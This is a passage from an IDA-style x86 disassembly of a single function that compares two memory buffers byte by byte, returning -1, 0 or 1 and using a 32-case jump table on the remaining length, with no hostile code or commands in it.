		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E076:				; CODE XREF: sub_40DED2+18Dj
		movzx	esi, byte ptr [eax+0Ah]
		movzx	ebx, byte ptr [ecx+0Ah]
		sub	esi, ebx
		jz	short loc_40E097
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E097:				; CODE XREF: sub_40DED2+1AEj
		movzx	esi, byte ptr [eax+0Bh]
		movzx	ebx, byte ptr [ecx+0Bh]
		sub	esi, ebx
		jz	short loc_40E0B4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E0B4
; ---------------------------------------------------------------------------


loc_40E0B2:				; CODE XREF: sub_40DED2+160j
		xor	esi, esi


loc_40E0B4:				; CODE XREF: sub_40DED2+1CFj
					; sub_40DED2+1DEj
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+0Ch]
		cmp	esi, [ecx+0Ch]
		jz	short loc_40E142
		movzx	esi, byte ptr [eax+0Ch]
		movzx	ebx, byte ptr [ecx+0Ch]
		sub	esi, ebx
		jz	short loc_40E0E5
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E0E5:				; CODE XREF: sub_40DED2+1FCj
		movzx	esi, byte ptr [eax+0Dh]
		movzx	ebx, byte ptr [ecx+0Dh]
		sub	esi, ebx
		jz	short loc_40E106
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E106:				; CODE XREF: sub_40DED2+21Dj
		movzx	esi, byte ptr [eax+0Eh]
		movzx	ebx, byte ptr [ecx+0Eh]
		sub	esi, ebx
		jz	short loc_40E127
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E127:				; CODE XREF: sub_40DED2+23Ej
		movzx	esi, byte ptr [eax+0Fh]
		movzx	ebx, byte ptr [ecx+0Fh]
		sub	esi, ebx
		jz	short loc_40E144
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E144
; ---------------------------------------------------------------------------


loc_40E142:				; CODE XREF: sub_40DED2+1F0j
		xor	esi, esi


loc_40E144:				; CODE XREF: sub_40DED2+25Fj
					; sub_40DED2+26Ej
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+10h]
		cmp	esi, [ecx+10h]
		jz	short loc_40E1D2
		movzx	ebx, byte ptr [ecx+10h]
		movzx	esi, byte ptr [eax+10h]
		sub	esi, ebx
		jz	short loc_40E175
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E175:				; CODE XREF: sub_40DED2+28Cj
		movzx	esi, byte ptr [eax+11h]
		movzx	ebx, byte ptr [ecx+11h]
		sub	esi, ebx
		jz	short loc_40E196
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E196:				; CODE XREF: sub_40DED2+2ADj
		movzx	esi, byte ptr [eax+12h]
		movzx	ebx, byte ptr [ecx+12h]
		sub	esi, ebx
		jz	short loc_40E1B7
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E1B7:				; CODE XREF: sub_40DED2+2CEj
		movzx	esi, byte ptr [eax+13h]
		movzx	ebx, byte ptr [ecx+13h]
		sub	esi, ebx
		jz	short loc_40E1D4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E1D4
; ---------------------------------------------------------------------------


loc_40E1D2:				; CODE XREF: sub_40DED2+280j
		xor	esi, esi


loc_40E1D4:				; CODE XREF: sub_40DED2+2EFj
					; sub_40DED2+2FEj
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+14h]
		cmp	esi, [ecx+14h]
		jz	short loc_40E262
		movzx	esi, byte ptr [eax+14h]
		movzx	ebx, byte ptr [ecx+14h]
		sub	esi, ebx
		jz	short loc_40E205
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E205:				; CODE XREF: sub_40DED2+31Cj
		movzx	esi, byte ptr [eax+15h]
		movzx	ebx, byte ptr [ecx+15h]
		sub	esi, ebx
		jz	short loc_40E226
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E226:				; CODE XREF: sub_40DED2+33Dj
		movzx	esi, byte ptr [eax+16h]
		movzx	ebx, byte ptr [ecx+16h]
		sub	esi, ebx
		jz	short loc_40E247
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E247:				; CODE XREF: sub_40DED2+35Ej
		movzx	esi, byte ptr [eax+17h]
		movzx	ebx, byte ptr [ecx+17h]
		sub	esi, ebx
		jz	short loc_40E264
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E264
; ---------------------------------------------------------------------------


loc_40E262:				; CODE XREF: sub_40DED2+310j
		xor	esi, esi


loc_40E264:				; CODE XREF: sub_40DED2+37Fj
					; sub_40DED2+38Ej
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+18h]
		cmp	esi, [ecx+18h]
		jz	short loc_40E2F2
		movzx	esi, byte ptr [eax+18h]
		movzx	ebx, byte ptr [ecx+18h]
		sub	esi, ebx
		jz	short loc_40E295
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E295:				; CODE XREF: sub_40DED2+3ACj
		movzx	esi, byte ptr [eax+19h]
		movzx	ebx, byte ptr [ecx+19h]
		sub	esi, ebx
		jz	short loc_40E2B6
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E2B6:				; CODE XREF: sub_40DED2+3CDj
		movzx	esi, byte ptr [eax+1Ah]
		movzx	ebx, byte ptr [ecx+1Ah]
		sub	esi, ebx
		jz	short loc_40E2D7
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E2D7:				; CODE XREF: sub_40DED2+3EEj
		movzx	esi, byte ptr [eax+1Bh]
		movzx	ebx, byte ptr [ecx+1Bh]
		sub	esi, ebx
		jz	short loc_40E2F4
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E2F4
; ---------------------------------------------------------------------------


loc_40E2F2:				; CODE XREF: sub_40DED2+3A0j
		xor	esi, esi


loc_40E2F4:				; CODE XREF: sub_40DED2+40Fj
					; sub_40DED2+41Ej
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+1Ch]
		cmp	esi, [ecx+1Ch]
		jz	short loc_40E376
		movzx	esi, byte ptr [eax+1Ch]
		movzx	ebx, byte ptr [ecx+1Ch]
		sub	esi, ebx
		jz	short loc_40E321
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E321:				; CODE XREF: sub_40DED2+43Cj
		movzx	esi, byte ptr [eax+1Dh]
		movzx	ebx, byte ptr [ecx+1Dh]
		sub	esi, ebx
		jz	short loc_40E33E
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E33E:				; CODE XREF: sub_40DED2+459j
		movzx	esi, byte ptr [eax+1Eh]
		movzx	ebx, byte ptr [ecx+1Eh]
		sub	esi, ebx
		jz	short loc_40E35B
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E35B:				; CODE XREF: sub_40DED2+476j
		movzx	esi, byte ptr [eax+1Fh]
		movzx	ebx, byte ptr [ecx+1Fh]
		sub	esi, ebx
		jz	short loc_40E378
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E378
; ---------------------------------------------------------------------------


loc_40E376:				; CODE XREF: sub_40DED2+430j
		xor	esi, esi


loc_40E378:				; CODE XREF: sub_40DED2+493j
					; sub_40DED2+4A2j
		test	esi, esi
		jnz	short loc_40E39E
		add	eax, edx
		add	ecx, edx
		sub	edi, edx


loc_40E382:				; CODE XREF: sub_40DED2+39j
		cmp	edi, edx
		jnb	loc_40DF10
		add	eax, edi
		add	ecx, edi
		cmp	edi, 1Fh	; switch 32 cases
		ja	loc_40E771	; default
					; jumptable 0040E397 case 0
		jmp	off_40F4D2[edi*4] ; switch jump
; ---------------------------------------------------------------------------


loc_40E39E:				; CODE XREF: sub_40DED2+5Dj
					; sub_40DED2+7Ej ...
		mov	eax, esi
		jmp	loc_40E773
; ---------------------------------------------------------------------------


loc_40E3A5:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Ch]	; jumptable 0040E397 case 28
		cmp	edx, [ecx-1Ch]
		jz	short loc_40E41E
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40E3C9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E3C9:				; CODE XREF: sub_40DED2+4E4j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40E3E6
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E3E6:				; CODE XREF: sub_40DED2+501j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40E403
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40E39E


loc_40E403:				; CODE XREF: sub_40DED2+51Ej
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40E420
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E420
; ---------------------------------------------------------------------------


loc_40E41E:				; CODE XREF: sub_40DED2+4D9j
		xor	esi, esi


loc_40E420:				; CODE XREF: sub_40DED2+53Bj
					; sub_40DED2+54Aj
		test	esi, esi
		jnz	loc_40E39E


loc_40E428:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-18h]	; jumptable 0040E397 case 24
		cmp	edx, [ecx-18h]
		jz	short loc_40E4AD
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40E450
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E450:				; CODE XREF: sub_40DED2+567j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40E471
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E471:				; CODE XREF: sub_40DED2+588j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40E492
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E492:				; CODE XREF: sub_40DED2+5A9j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40E4AF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E4AF
; ---------------------------------------------------------------------------


loc_40E4AD:				; CODE XREF: sub_40DED2+55Cj
		xor	esi, esi


loc_40E4AF:				; CODE XREF: sub_40DED2+5CAj
					; sub_40DED2+5D9j
		test	esi, esi
		jnz	loc_40E39E


loc_40E4B7:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-14h]	; jumptable 0040E397 case 20
		cmp	edx, [ecx-14h]
		jz	short loc_40E53C
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40E4DF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E4DF:				; CODE XREF: sub_40DED2+5F6j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40E500
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E500:				; CODE XREF: sub_40DED2+617j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40E521
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E521:				; CODE XREF: sub_40DED2+638j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40E53E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E53E
; ---------------------------------------------------------------------------


loc_40E53C:				; CODE XREF: sub_40DED2+5EBj
		xor	esi, esi


loc_40E53E:				; CODE XREF: sub_40DED2+659j
					; sub_40DED2+668j
		test	esi, esi
		jnz	loc_40E39E


loc_40E546:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-10h]	; jumptable 0040E397 case 16
		cmp	edx, [ecx-10h]
		jz	short loc_40E5CB
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40E56E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E56E:				; CODE XREF: sub_40DED2+685j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40E58F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E58F:				; CODE XREF: sub_40DED2+6A6j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40E5B0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E5B0:				; CODE XREF: sub_40DED2+6C7j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40E5CD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E5CD
; ---------------------------------------------------------------------------


loc_40E5CB:				; CODE XREF: sub_40DED2+67Aj
		xor	esi, esi


loc_40E5CD:				; CODE XREF: sub_40DED2+6E8j
					; sub_40DED2+6F7j
		test	esi, esi
		jnz	loc_40E39E


loc_40E5D5:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-0Ch]	; jumptable 0040E397 case 12
		cmp	edx, [ecx-0Ch]
		jz	short loc_40E65B
		movzx	edx, byte ptr [ecx-0Ch]
		movzx	esi, byte ptr [eax-0Ch]
		sub	esi, edx
		jz	short loc_40E5FE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E5FE:				; CODE XREF: sub_40DED2+715j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40E61F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E61F:				; CODE XREF: sub_40DED2+736j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40E640
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E640:				; CODE XREF: sub_40DED2+757j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40E65D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E65D
; ---------------------------------------------------------------------------


loc_40E65B:				; CODE XREF: sub_40DED2+709j
		xor	esi, esi


loc_40E65D:				; CODE XREF: sub_40DED2+778j
					; sub_40DED2+787j
		test	esi, esi
		jnz	loc_40E39E


loc_40E665:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-8]	; jumptable 0040E397 case 8
		cmp	edx, [ecx-8]
		jz	short loc_40E6EA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40E68D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E68D:				; CODE XREF: sub_40DED2+7A4j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40E6AE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E6AE:				; CODE XREF: sub_40DED2+7C5j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40E6CF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E6CF:				; CODE XREF: sub_40DED2+7E6j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40E6EC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E6EC
; ---------------------------------------------------------------------------


loc_40E6EA:				; CODE XREF: sub_40DED2+799j
		xor	esi, esi


loc_40E6EC:				; CODE XREF: sub_40DED2+807j
					; sub_40DED2+816j
		test	esi, esi
		jnz	loc_40E39E


loc_40E6F4:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-4]	; jumptable 0040E397 case 4
		cmp	edx, [ecx-4]
		jz	short loc_40E76B
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40E716
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40E74C


loc_40E716:				; CODE XREF: sub_40DED2+833j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40E731
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40E74C


loc_40E731:				; CODE XREF: sub_40DED2+84Ej
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40E750
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	short loc_40E750


loc_40E74C:				; CODE XREF: sub_40DED2+842j
					; sub_40DED2+85Dj
		mov	eax, edx
		jmp	short loc_40E76D
; ---------------------------------------------------------------------------


loc_40E750:				; CODE XREF: sub_40DED2+869j
					; sub_40DED2+878j
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		sub	eax, ecx
		jz	short loc_40E76D
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	short loc_40E76D
; ---------------------------------------------------------------------------


loc_40E76B:				; CODE XREF: sub_40DED2+828j
		xor	eax, eax


loc_40E76D:				; CODE XREF: sub_40DED2+87Cj
					; sub_40DED2+888j ...
		test	eax, eax
		jnz	short loc_40E773


loc_40E771:				; CODE XREF: sub_40DED2+4BFj
					; sub_40DED2+4C5j ...
		xor	eax, eax	; default
					; jumptable 0040E397 case 0


loc_40E773:				; CODE XREF: sub_40DED2+4CEj
					; sub_40DED2+89Dj ...
		pop	ebx
		jmp	loc_40F4CC
; ---------------------------------------------------------------------------


loc_40E779:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-1Dh]	; jumptable 0040E397 case 29
		cmp	edx, [ecx-1Dh]
		jz	short loc_40E7FE
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40E7A1
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E7A1:				; CODE XREF: sub_40DED2+8B8j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40E7C2
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E7C2:				; CODE XREF: sub_40DED2+8D9j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40E7E3
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E7E3:				; CODE XREF: sub_40DED2+8FAj
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40E800
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E800
; ---------------------------------------------------------------------------


loc_40E7FE:				; CODE XREF: sub_40DED2+8ADj
		xor	esi, esi


loc_40E800:				; CODE XREF: sub_40DED2+91Bj
					; sub_40DED2+92Aj
		test	esi, esi
		jnz	loc_40E39E


loc_40E808:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-19h]	; jumptable 0040E397 case 25
		cmp	edx, [ecx-19h]
		jz	short loc_40E88D
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40E830
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E830:				; CODE XREF: sub_40DED2+947j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40E851
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E851:				; CODE XREF: sub_40DED2+968j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40E872
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E872:				; CODE XREF: sub_40DED2+989j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40E88F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E88F
; ---------------------------------------------------------------------------


loc_40E88D:				; CODE XREF: sub_40DED2+93Cj
		xor	esi, esi


loc_40E88F:				; CODE XREF: sub_40DED2+9AAj
					; sub_40DED2+9B9j
		test	esi, esi
		jnz	loc_40E39E


loc_40E897:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-15h]	; jumptable 0040E397 case 21
		cmp	edx, [ecx-15h]
		jz	short loc_40E91C
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40E8BF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E8BF:				; CODE XREF: sub_40DED2+9D6j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40E8E0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E8E0:				; CODE XREF: sub_40DED2+9F7j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40E901
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E901:				; CODE XREF: sub_40DED2+A18j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40E91E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E91E
; ---------------------------------------------------------------------------


loc_40E91C:				; CODE XREF: sub_40DED2+9CBj
		xor	esi, esi


loc_40E91E:				; CODE XREF: sub_40DED2+A39j
					; sub_40DED2+A48j
		test	esi, esi
		jnz	loc_40E39E


loc_40E926:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		mov	edx, [eax-11h]	; jumptable 0040E397 case 17
		cmp	edx, [ecx-11h]
		jz	short loc_40E9AB
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40E94E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E94E:				; CODE XREF: sub_40DED2+A65j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40E96F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E96F:				; CODE XREF: sub_40DED2+A86j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40E990
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40E990:				; CODE XREF: sub_40DED2+AA7j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40E9AD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40E9AD
; ---------------------------------------------------------------------------


loc_40E9AB:				; CODE XREF: sub_40DED2+A5Aj
		xor	esi, esi


loc_40E9AD:				; CODE XREF: sub_40DED2+AC8j
					; sub_40DED2+AD7j
		test	esi, esi
		jnz	loc_40E39E


loc_40E9B5:				; CODE XREF: sub_40DED2+4C5j
